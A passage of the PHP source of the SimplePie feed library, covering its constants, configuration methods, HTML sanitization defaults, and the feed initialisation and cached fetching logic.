SIMPLEPIE_URL . '" title="' . SIMPLEPIE_NAME . ' ' . SIMPLEPIE_VERSION . '">' . SIMPLEPIE_NAME . '</a>'); /** * No Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_NONE', 0); /** * Feed Link Element Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', 1); /** * Local Feed Extension Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', 2); /** * Local Feed Body Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_LOCAL_BODY', 4); /** * Remote Feed Extension Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', 8); /** * Remote Feed Body Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_REMOTE_BODY', 16); /** * All Feed Autodiscovery * @see SimplePie::set_autodiscovery_level() */ define('SIMPLEPIE_LOCATOR_ALL', 31); /** * No known feed type */ define('SIMPLEPIE_TYPE_NONE', 0); /** * RSS 0.90 */ define('SIMPLEPIE_TYPE_RSS_090', 1); /** * RSS 0.91 (Netscape) */ define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', 2); /** * RSS 0.91 (Userland) */ define('SIMPLEPIE_TYPE_RSS_091_USERLAND', 4); /** * RSS 0.91 (both Netscape and Userland) */ define('SIMPLEPIE_TYPE_RSS_091', 6); /** * RSS 0.92 */ define('SIMPLEPIE_TYPE_RSS_092', 8); /** * RSS 0.93 */ define('SIMPLEPIE_TYPE_RSS_093', 16); /** * RSS 0.94 */ define('SIMPLEPIE_TYPE_RSS_094', 32); /** * RSS 1.0 */ define('SIMPLEPIE_TYPE_RSS_10', 64); /** * RSS 2.0 */ define('SIMPLEPIE_TYPE_RSS_20', 128); /** * RDF-based RSS */ define('SIMPLEPIE_TYPE_RSS_RDF', 65); /** * Non-RDF-based RSS (truly intended as syndication format) */ define('SIMPLEPIE_TYPE_RSS_SYNDICATION', 190); /** * All RSS */ define('SIMPLEPIE_TYPE_RSS_ALL', 255); /** * Atom 0.3 */ define('SIMPLEPIE_TYPE_ATOM_03', 256); /** * Atom 1.0 */ define('SIMPLEPIE_TYPE_ATOM_10', 512); /** * All Atom */ define('SIMPLEPIE_TYPE_ATOM_ALL', 768); /** * All feed types */ define('SIMPLEPIE_TYPE_ALL', 1023); /** * No construct */ define('SIMPLEPIE_CONSTRUCT_NONE', 0); /** * Text construct */ define('SIMPLEPIE_CONSTRUCT_TEXT', 1); /** * HTML construct */ define('SIMPLEPIE_CONSTRUCT_HTML', 2); /** * XHTML construct */ define('SIMPLEPIE_CONSTRUCT_XHTML', 4); /** * base64-encoded construct */ define('SIMPLEPIE_CONSTRUCT_BASE64', 8); /** * IRI construct */ define('SIMPLEPIE_CONSTRUCT_IRI', 16); /** * A construct that might be HTML */ define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', 32); /** * All constructs */ define('SIMPLEPIE_CONSTRUCT_ALL', 63); /** * Don't change case */ define('SIMPLEPIE_SAME_CASE', 1); /** * Change to lowercase */ define('SIMPLEPIE_LOWERCASE', 2); /** * Change to uppercase */ define('SIMPLEPIE_UPPERCASE', 4); /** * PCRE for HTML attributes */ define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*'); /** * PCRE for XML attributes */ define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*'); /** * XML Namespace */ define('SIMPLEPIE_NAMESPACE_XML', 'http://www.w3.org/XML/1998/namespace'); /** * Atom 1.0 Namespace */ define('SIMPLEPIE_NAMESPACE_ATOM_10', 'http://www.w3.org/2005/Atom'); /** * Atom 0.3 Namespace */ define('SIMPLEPIE_NAMESPACE_ATOM_03', 'http://purl.org/atom/ns#'); /** * RDF Namespace */ define('SIMPLEPIE_NAMESPACE_RDF', 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'); /** * RSS 0.90 Namespace */ define('SIMPLEPIE_NAMESPACE_RSS_090', 'http://my.netscape.com/rdf/simple/0.9/'); /** * RSS 1.0 Namespace */ define('SIMPLEPIE_NAMESPACE_RSS_10', 'http://purl.org/rss/1.0/'); /** * RSS 1.0 Content Module Namespace */ define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', 'http://purl.org/rss/1.0/modules/content/'); /** * RSS 2.0 Namespace * (Stupid, I know, but I'm certain it will confuse people less with support.) */ define('SIMPLEPIE_NAMESPACE_RSS_20', ''); /** * DC 1.0 Namespace */ define('SIMPLEPIE_NAMESPACE_DC_10', 'http://purl.org/dc/elements/1.0/'); /** * DC 1.1 Namespace */ define('SIMPLEPIE_NAMESPACE_DC_11', 'http://purl.org/dc/elements/1.1/'); /** * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace */ define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', 'http://www.w3.org/2003/01/geo/wgs84_pos#'); /** * GeoRSS Namespace */ define('SIMPLEPIE_NAMESPACE_GEORSS', 'http://www.georss.org/georss'); /** * Media RSS Namespace */ define('SIMPLEPIE_NAMESPACE_MEDIARSS', 'http://search.yahoo.com/mrss/'); /** * Wrong Media RSS Namespace. Caused by a long-standing typo in the spec. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', 'http://search.yahoo.com/mrss'); /** * Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', 'http://video.search.yahoo.com/mrss'); /** * Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', 'http://video.search.yahoo.com/mrss/'); /** * Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', 'http://www.rssboard.org/media-rss'); /** * Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL. */ define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', 'http://www.rssboard.org/media-rss/'); /** * iTunes RSS Namespace */ define('SIMPLEPIE_NAMESPACE_ITUNES', 'http://www.itunes.com/dtds/podcast-1.0.dtd'); /** * XHTML Namespace */ define('SIMPLEPIE_NAMESPACE_XHTML', 'http://www.w3.org/1999/xhtml'); /** * IANA Link Relations Registry */ define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', 'http://www.iana.org/assignments/relation/'); /** * No file source */ define('SIMPLEPIE_FILE_SOURCE_NONE', 0); /** * Remote file source */ define('SIMPLEPIE_FILE_SOURCE_REMOTE', 1); /** * Local file source */ define('SIMPLEPIE_FILE_SOURCE_LOCAL', 2); /** * fsockopen() file source */ define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', 4); /** * cURL file source */ define('SIMPLEPIE_FILE_SOURCE_CURL', 8); /** * file_get_contents() file source */ define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', 16); /** * SimplePie * * @package SimplePie * @subpackage API */ class SimplePie { /** * @var array Raw data * @access private */ public $data = array(); /** * @var mixed Error string * @access private */ public $error; /** * @var object Instance of SimplePie_Sanitize (or other class) * @see SimplePie::set_sanitize_class() * @access private */ public $sanitize; /** * @var string SimplePie Useragent * @see SimplePie::set_useragent() * @access private */ public $useragent = SIMPLEPIE_USERAGENT; /** * @var string Feed URL * @see SimplePie::set_feed_url() * @access private */ public $feed_url; /** * @var object Instance of SimplePie_File to use as a feed * @see SimplePie::set_file() * @access private */ public $file; /** * @var string Raw feed data * @see SimplePie::set_raw_data() * @access private */ public $raw_data; /** * @var int Timeout for fetching remote files * @see SimplePie::set_timeout() * @access private */ public $timeout = 10; /** * @var bool Forces fsockopen() to be used for remote files instead * of cURL, even if a new enough version is installed * @see SimplePie::force_fsockopen() * @access private */ public $force_fsockopen = false; /** * @var bool Force the given data/URL to be treated as a feed no matter what * it appears like * @see SimplePie::force_feed() * @access private */ public $force_feed = false; /** * @var bool Enable/Disable Caching * @see SimplePie::enable_cache() * @access private */ public $cache = true; /** * @var int Cache duration (in seconds) * @see SimplePie::set_cache_duration() * @access private */ public $cache_duration = 3600; /** * @var int Auto-discovery cache duration (in seconds) * @see SimplePie::set_autodiscovery_cache_duration() * @access private */ public $autodiscovery_cache_duration = 604800; // 7 Days. /** * @var string Cache location (relative to executing script) * @see SimplePie::set_cache_location() * @access private */ public $cache_location = './cache'; /** * @var string Function that creates the cache filename * @see SimplePie::set_cache_name_function() * @access private */ public $cache_name_function = 'md5'; /** * @var bool Reorder feed by date descending * @see SimplePie::enable_order_by_date() * @access private */ public $order_by_date = true; /** * @var mixed Force input encoding to be set to the follow value * (false, or anything type-cast to false, disables this feature) * @see SimplePie::set_input_encoding() * @access private */ public $input_encoding = false; /** * @var int Feed Autodiscovery Level * @see SimplePie::set_autodiscovery_level() * @access private */ public $autodiscovery = SIMPLEPIE_LOCATOR_ALL; /** * Class registry object * * @var SimplePie_Registry */ public $registry; /** * @var int Maximum number of feeds to check with autodiscovery * @see SimplePie::set_max_checked_feeds() * @access private */ public $max_checked_feeds = 10; /** * @var array All the feeds found during the autodiscovery process * @see SimplePie::get_all_discovered_feeds() * @access private */ public $all_discovered_feeds = array(); /** * @var string Web-accessible path to the handler_image.php file. * @see SimplePie::set_image_handler() * @access private */ public $image_handler = ''; /** * @var array Stores the URLs when multiple feeds are being initialized. * @see SimplePie::set_feed_url() * @access private */ public $multifeed_url = array(); /** * @var array Stores SimplePie objects when multiple feeds initialized. * @access private */ public $multifeed_objects = array(); /** * @var array Stores the get_object_vars() array for use with multifeeds. * @see SimplePie::set_feed_url() * @access private */ public $config_settings = null; /** * @var integer Stores the number of items to return per-feed with multifeeds. * @see SimplePie::set_item_limit() * @access private */ public $item_limit = 0; /** * @var array Stores the default attributes to be stripped by strip_attributes(). * @see SimplePie::strip_attributes() * @access private */ public $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'); /** * @var array Stores the default tags to be stripped by strip_htmltags(). * @see SimplePie::strip_htmltags() * @access private */ public $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'); /** * The SimplePie class contains feed level data and options * * To use SimplePie, create the SimplePie object with no parameters. You can * then set configuration options using the provided methods. After setting * them, you must initialise the feed using $feed->init(). At that point the * object's methods and properties will be available to you. * * Previously, it was possible to pass in the feed URL along with cache * options directly into the constructor. This has been removed as of 1.3 as * it caused a lot of confusion. * * @since 1.0 Preview Release */ public function __construct() { if (version_compare(PHP_VERSION, '5.2', '<')) { trigger_error('PHP 4.x, 5.0 and 5.1 are no longer supported. Please upgrade to PHP 5.2 or newer.'); die(); } // Other objects, instances created here so we can set options on them $this->sanitize = new SimplePie_Sanitize(); $this->registry = new SimplePie_Registry(); if (func_num_args() > 0) { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_location() directly.', $level); $args = func_get_args(); switch (count($args)) { case 3: $this->set_cache_duration($args[2]); case 2: $this->set_cache_location($args[1]); case 1: $this->set_feed_url($args[0]); $this->init(); } } } /** * Used for converting object to a string */ public function __toString() { return md5(serialize($this->data)); } /** * Remove items that link back to this before destroying this object */ public function __destruct() { if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode')) { if (!empty($this->data['items'])) { foreach ($this->data['items'] as $item) { $item->__destruct(); } unset($item, $this->data['items']); } if (!empty($this->data['ordered_items'])) { foreach ($this->data['ordered_items'] as $item) { $item->__destruct(); } unset($item, $this->data['ordered_items']); } } } /** * Force the given data/URL to be treated as a feed * * This tells SimplePie to ignore the content-type provided by the server. * Be careful when using this option, as it will also disable autodiscovery. * * @since 1.1 * @param bool $enable Force the given data/URL to be treated as a feed */ public function force_feed($enable = false) { $this->force_feed = (bool) $enable; } /** * Set the URL of the feed you want to parse * * This allows you to enter the URL of the feed you want to parse, or the * website you want to try to use auto-discovery on. This takes priority * over any set raw data. * * You can set multiple feeds to mash together by passing an array instead * of a string for the $url. Remember that with each additional feed comes * additional processing and resources. * * @since 1.0 Preview Release * @see set_raw_data() * @param string|array $url This is the URL (or array of URLs) that you want to parse. */ public function set_feed_url($url) { $this->multifeed_url = array(); if (is_array($url)) { foreach ($url as $value) { $this->multifeed_url[] = $this->registry->call('Misc', 'fix_protocol', array($value, 1)); } } else { $this->feed_url = $this->registry->call('Misc', 'fix_protocol', array($url, 1)); } } /** * Set an instance of {@see SimplePie_File} to use as a feed * * @param SimplePie_File &$file * @return bool True on success, false on failure */ public function set_file(&$file) { if ($file instanceof SimplePie_File) { $this->feed_url = $file->url; $this->file =& $file; return true; } return false; } /** * Set the raw XML data to parse * * Allows you to use a string of RSS/Atom data instead of a remote feed. * * If you have a feed available as a string in PHP, you can tell SimplePie * to parse that data string instead of a remote feed. Any set feed URL * takes precedence. * * @since 1.0 Beta 3 * @param string $data RSS or Atom data as a string. * @see set_feed_url() */ public function set_raw_data($data) { $this->raw_data = $data; } /** * Set the the default timeout for fetching remote feeds * * This allows you to change the maximum time the feed's server to respond * and send the feed back. * * @since 1.0 Beta 3 * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed. */ public function set_timeout($timeout = 10) { $this->timeout = (int) $timeout; } /** * Force SimplePie to use fsockopen() instead of cURL * * @since 1.0 Beta 3 * @param bool $enable Force fsockopen() to be used */ public function force_fsockopen($enable = false) { $this->force_fsockopen = (bool) $enable; } /** * Enable/disable caching in SimplePie. * * This option allows you to disable caching all-together in SimplePie. * However, disabling the cache can lead to longer load times. * * @since 1.0 Preview Release * @param bool $enable Enable caching */ public function enable_cache($enable = true) { $this->cache = (bool) $enable; } /** * Set the length of time (in seconds) that the contents of a feed will be * cached * * @param int $seconds The feed content cache duration */ public function set_cache_duration($seconds = 3600) { $this->cache_duration = (int) $seconds; } /** * Set the length of time (in seconds) that the autodiscovered feed URL will * be cached * * @param int $seconds The autodiscovered feed URL cache duration. */ public function set_autodiscovery_cache_duration($seconds = 604800) { $this->autodiscovery_cache_duration = (int) $seconds; } /** * Set the file system location where the cached files should be stored * * @param string $location The file system location. */ public function set_cache_location($location = './cache') { $this->cache_location = (string) $location; } /** * Set whether feed items should be sorted into reverse chronological order * * @param bool $enable Sort as reverse chronological order. */ public function enable_order_by_date($enable = true) { $this->order_by_date = (bool) $enable; } /** * Set the character encoding used to parse the feed * * This overrides the encoding reported by the feed, however it will fall * back to the normal encoding detection if the override fails * * @param string $encoding Character encoding */ public function set_input_encoding($encoding = false) { if ($encoding) { $this->input_encoding = (string) $encoding; } else { $this->input_encoding = false; } } /** * Set how much feed autodiscovery to do * * @see SIMPLEPIE_LOCATOR_NONE * @see SIMPLEPIE_LOCATOR_AUTODISCOVERY * @see SIMPLEPIE_LOCATOR_LOCAL_EXTENSION * @see SIMPLEPIE_LOCATOR_LOCAL_BODY * @see SIMPLEPIE_LOCATOR_REMOTE_EXTENSION * @see SIMPLEPIE_LOCATOR_REMOTE_BODY * @see SIMPLEPIE_LOCATOR_ALL * @param int $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator) */ public function set_autodiscovery_level($level = SIMPLEPIE_LOCATOR_ALL) { $this->autodiscovery = (int) $level; } /** * Get the class registry * * Use this to override SimplePie's default classes * @see SimplePie_Registry * @return SimplePie_Registry */ public function &get_registry() { return $this->registry; } /**#@+ * Useful when you are overloading or extending SimplePie's default classes. * * @deprecated Use {@see get_registry()} instead * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation * @param string $class Name of custom class * @return boolean True on success, false otherwise */ /** * Set which class SimplePie uses for caching */ public function set_cache_class($class = 'SimplePie_Cache') { return $this->registry->register('Cache', $class, true); } /** * Set which class SimplePie uses for auto-discovery */ public function set_locator_class($class = 'SimplePie_Locator') { return $this->registry->register('Locator', $class, true); } /** * Set which class SimplePie uses for XML parsing */ public function set_parser_class($class = 'SimplePie_Parser') { return $this->registry->register('Parser', $class, true); } /** * Set which class SimplePie uses for remote file fetching */ public function set_file_class($class = 'SimplePie_File') { return $this->registry->register('File', $class, true); } /** * Set which class SimplePie uses for data sanitization */ public function set_sanitize_class($class = 'SimplePie_Sanitize') { return $this->registry->register('Sanitize', $class, true); } /** * Set which class SimplePie uses for handling feed items */ public function set_item_class($class = 'SimplePie_Item') { return $this->registry->register('Item', $class, true); } /** * Set which class SimplePie uses for handling author data */ public function set_author_class($class = 'SimplePie_Author') { return $this->registry->register('Author', $class, true); } /** * Set which class SimplePie uses for handling category data */ public function set_category_class($class = 'SimplePie_Category') { return $this->registry->register('Category', $class, true); } /** * Set which class SimplePie uses for feed enclosures */ public function set_enclosure_class($class = 'SimplePie_Enclosure') { return $this->registry->register('Enclosure', $class, true); } /** * Set which class SimplePie uses for `<media:text>` captions */ public function set_caption_class($class = 'SimplePie_Caption') { return $this->registry->register('Caption', $class, true); } /** * Set which class SimplePie uses for `<media:copyright>` */ public function set_copyright_class($class = 'SimplePie_Copyright') { return $this->registry->register('Copyright', $class, true); } /** * Set which class SimplePie uses for `<media:credit>` */ public function set_credit_class($class = 'SimplePie_Credit') { return $this->registry->register('Credit', $class, true); } /** * Set which class SimplePie uses for `<media:rating>` */ public function set_rating_class($class = 'SimplePie_Rating') { return $this->registry->register('Rating', $class, true); } /** * Set which class SimplePie uses for `<media:restriction>` */ public function set_restriction_class($class = 'SimplePie_Restriction') { return $this->registry->register('Restriction', $class, true); } /** * Set which class SimplePie uses for content-type sniffing */ public function set_content_type_sniffer_class($class = 'SimplePie_Content_Type_Sniffer') { return $this->registry->register('Content_Type_Sniffer', $class, true); } /** * Set which class SimplePie uses item sources */ public function set_source_class($class = 'SimplePie_Source') { return $this->registry->register('Source', $class, true); } /**#@-*/ /** * Set the user agent string * * @param string $ua New user agent string. */ public function set_useragent($ua = SIMPLEPIE_USERAGENT) { $this->useragent = (string) $ua; } /** * Set callback function to create cache filename with * * @param mixed $function Callback function */ public function set_cache_name_function($function = 'md5') { if (is_callable($function)) { $this->cache_name_function = $function; } } /** * Set options to make SP as fast as possible * * Forgoes a substantial amount of data sanitization in favor of speed. This * turns SimplePie into a dumb parser of feeds. * * @param bool $set Whether to set them or not */ public function set_stupidly_fast($set = false) { if ($set) { $this->enable_order_by_date(false); $this->remove_div(false); $this->strip_comments(false); $this->strip_htmltags(false); $this->strip_attributes(false); $this->set_image_handler(false); } } /** * Set maximum number of feeds to check with autodiscovery * * @param int $max Maximum number of feeds to check */ public function set_max_checked_feeds($max = 10) { $this->max_checked_feeds = (int) $max; } public function remove_div($enable = true) { $this->sanitize->remove_div($enable); } public function strip_htmltags($tags = '', $encode = null) { if ($tags === '') { $tags = $this->strip_htmltags; } $this->sanitize->strip_htmltags($tags); if ($encode !== null) { $this->sanitize->encode_instead_of_strip($tags); } } public function encode_instead_of_strip($enable = true) { $this->sanitize->encode_instead_of_strip($enable); } public function strip_attributes($attribs = '') { if ($attribs === '') { $attribs = $this->strip_attributes; } $this->sanitize->strip_attributes($attribs); } /** * Set the output encoding * * Allows you to override SimplePie's output to match that of your webpage. * This is useful for times when your webpages are not being served as * UTF-8. This setting will be obeyed by {@see handle_content_type()}, and * is similar to {@see set_input_encoding()}. * * It should be noted, however, that not all character encodings can support * all characters. If your page is being served as ISO-8859-1 and you try * to display a Japanese feed, you'll likely see garbled characters. * Because of this, it is highly recommended to ensure that your webpages * are served as UTF-8. * * The number of supported character encodings depends on whether your web * host supports {@link http://php.net/mbstring mbstring}, * {@link http://php.net/iconv iconv}, or both. See * {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for * more information. * * @param string $encoding */ public function set_output_encoding($encoding = 'UTF-8') { $this->sanitize->set_output_encoding($encoding); } public function strip_comments($strip = false) { $this->sanitize->strip_comments($strip); } /** * Set element/attribute key/value pairs of HTML attributes * containing URLs that need to be resolved relative to the feed * * Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite, * |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite, * |q|@cite * * @since 1.0 * @param array|null $element_attribute Element/attribute key/value pairs, null for default */ public function set_url_replacements($element_attribute = null) { $this->sanitize->set_url_replacements($element_attribute); } /** * Set the handler to enable the display of cached images. * * @param str $page Web-accessible path to the handler_image.php file. * @param str $qs The query string that the value should be passed to. */ public function set_image_handler($page = false, $qs = 'i') { if ($page !== false) { $this->sanitize->set_image_handler($page . '?' . $qs . '='); } else { $this->image_handler = ''; } } /** * Set the limit for items returned per-feed with multifeeds * * @param integer $limit The maximum number of items to return. */ public function set_item_limit($limit = 0) { $this->item_limit = (int) $limit; } /** * Initialize the feed object * * This is what makes everything happen. Period. This is where all of the * configuration options get processed, feeds are fetched, cached, and * parsed, and all of that other good stuff. * * @return boolean True if successful, false otherwise */ public function init() { // Check absolute bare minimum requirements. if (!extension_loaded('xml') || !extension_loaded('pcre')) { return false; } // Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader. elseif (!extension_loaded('xmlreader')) { static $xml_is_sane = null; if ($xml_is_sane === null) { $parser_check = xml_parser_create(); xml_parse_into_struct($parser_check, '<foo>&</foo>', $values); xml_parser_free($parser_check); $xml_is_sane = isset($values[0]['value']); } if (!$xml_is_sane) { return false; } } if (method_exists($this->sanitize, 'set_registry')) { $this->sanitize->set_registry($this->registry); } // Pass whatever was set with config options over to the sanitizer. // Pass the classes in for legacy support; new classes should use the registry instead $this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->registry->get_class('Cache')); $this->sanitize->pass_file_data($this->registry->get_class('File'), $this->timeout, $this->useragent, $this->force_fsockopen); if (!empty($this->multifeed_url)) { $i = 0; $success = 0; $this->multifeed_objects = array(); $this->error = array(); foreach ($this->multifeed_url as $url) { $this->multifeed_objects[$i] = clone $this; $this->multifeed_objects[$i]->set_feed_url($url); $single_success = $this->multifeed_objects[$i]->init(); $success |= $single_success; if (!$single_success) { $this->error[$i] = $this->multifeed_objects[$i]->error(); } $i++; } return (bool) $success; } elseif ($this->feed_url === null && $this->raw_data === null) { return false; } $this->error = null; $this->data = array(); $this->multifeed_objects = array(); $cache = false; if ($this->feed_url !== null) { $parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url)); // Decide whether to enable caching if ($this->cache && $parsed_feed_url['scheme'] !== '') { $cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc')); } // Fetch the data via SimplePie_File into $this->raw_data if (($fetched = $this->fetch_data($cache)) === true) { return true; } elseif ($fetched === false) { return false; } list($headers, $sniffed) = $fetched; } // Set up array of possible encodings $encodings = array(); // First check to see if input has been overridden. if ($this->input_encoding !== false) { $encodings[] = $this->input_encoding; } $application_types = array('application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity'); $text_types = array('text/xml', 'text/xml-external-parsed-entity'); // RFC 3023 (only applies to sniffed content) if (isset($sniffed)) { if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml') { if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) { $encodings[] = strtoupper($charset[1]); } $encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', array($this->raw_data, &$this->registry))); $encodings[] = 'UTF-8'; } elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml') { if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset)) { $encodings[] = $charset[1]; } $encodings[] = 'US-ASCII'; } // Text MIME-type default elseif (substr($sniffed, 0, 5) === 'text/') { $encodings[] = 'US-ASCII'; } } // Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1 $encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', array($this->raw_data, &$this->registry))); $encodings[] = 'UTF-8'; $encodings[] = 'ISO-8859-1'; // There's no point in trying an encoding twice $encodings = array_unique($encodings); // Loop through each possible encoding, till we return something, or run out of possibilities foreach ($encodings as $encoding) { // Change the encoding to UTF-8 (as we always use UTF-8 internally) if ($utf8_data = $this->registry->call('Misc', 'change_encoding', array($this->raw_data, $encoding, 'UTF-8'))) { // Create new parser $parser = $this->registry->create('Parser'); // If it's parsed fine if ($parser->parse($utf8_data, 'UTF-8')) { $this->data = $parser->get_data(); if (!($this->get_type() & ~SIMPLEPIE_TYPE_NONE)) { $this->error = "A feed could not be found at $this->feed_url. This does not appear to be a valid RSS or Atom feed."; $this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__)); return false; } if (isset($headers)) { $this->data['headers'] = $headers; } $this->data['build'] = SIMPLEPIE_BUILD; // Cache the file if caching is enabled if ($cache && !$cache->save($this)) { trigger_error("$this->cache_location is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } return true; } } } if (isset($parser)) { // We have an error, just set SimplePie_Misc::error to it and quit $this->error = sprintf('This XML document is invalid, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column()); } else { $this->error = 'The data could not be converted to UTF-8. You MUST have either the iconv or mbstring extension installed. Upgrading to PHP 5.x (which includes iconv) is highly recommended.'; } $this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__)); return false; } /** * Fetch the data via SimplePie_File * * If the data is already cached, attempt to fetch it from there instead * @param SimplePie_Cache|false $cache Cache handler, or false to not load from the cache * @return array|true Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type */ protected function fetch_data(&$cache) { // If it's enabled, use the cache if ($cache) { // Load the Cache $this->data = $cache->load(); if (!empty($this->data)) { // If the cache is for an outdated build of SimplePie if (!isset($this->data['build']) || $this->data['build'] !== SIMPLEPIE_BUILD) { $cache->unlink(); $this->data = array(); } // If we've hit a collision just rerun it with caching disabled elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url) { $cache = false; $this->data = array(); } // If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL. elseif (isset($this->data['feed_url'])) { // If the autodiscovery cache is still valid use it. if ($cache->mtime() + $this->autodiscovery_cache_duration > time()) { // Do not need to do feed autodiscovery yet. if ($this->data['feed_url'] !== $this->data['url']) { $this->set_feed_url($this->data['feed_url']); return $this->init(); } $cache->unlink(); $this->data = array(); } } // Check if the cache has been updated elseif ($cache->mtime() + $this->cache_duration < time()) { // If we have last-modified and/or etag set if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag'])) { $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); if (isset($this->data['headers']['last-modified'])) { $headers['if-modified-since'] = $this->data['headers']['last-modified']; } if (isset($this->data['headers']['etag'])) { $headers['if-none-match'] = $this->data['headers']['etag']; } $file = $this->registry->create('File', array($this->feed_url, $this->timeout/10, 5, $headers, $this->useragent, $this->force_fsockopen)); if ($file->success) { if ($file->status_code === 304) { $cache->touch(); return true; } } else { unset($file); } } } // If the cache is still valid, just return true else { $this->raw_data = false; return true; } } // If the cache is empty, delete it else { $cache->unlink(); $this->data = array(); } } // If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it. if (!isset($file)) { if ($this->file instanceof SimplePie_File && $this->file->url === $this->feed_url) { $file =& $this->file; } else { $headers = array( 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ); $file = $this->registry->create('File', array($this->feed_url, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen)); } } // If the file connection has an error, set SimplePie::error to that and quit if (!$file->success && !($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) { $this->error = $file->error; return !empty($this->data); } if (!$this->force_feed) { // Check if the supplied URL is a feed, if it isn't, look for it. $locate = $this->registry->create('Locator', array(&$file, $this->timeout, $this->useragent, $this->max_checked_feeds)); if (!$locate->is_feed($file)) { // We need to unset this so that if SimplePie::set_file() has been called that object is untouched unset($file); try { if (!($file = $locate->find($this->autodiscovery, $this->all_discovered_feeds))) { $this->error = "A feed could not be found at $this->feed_url. A 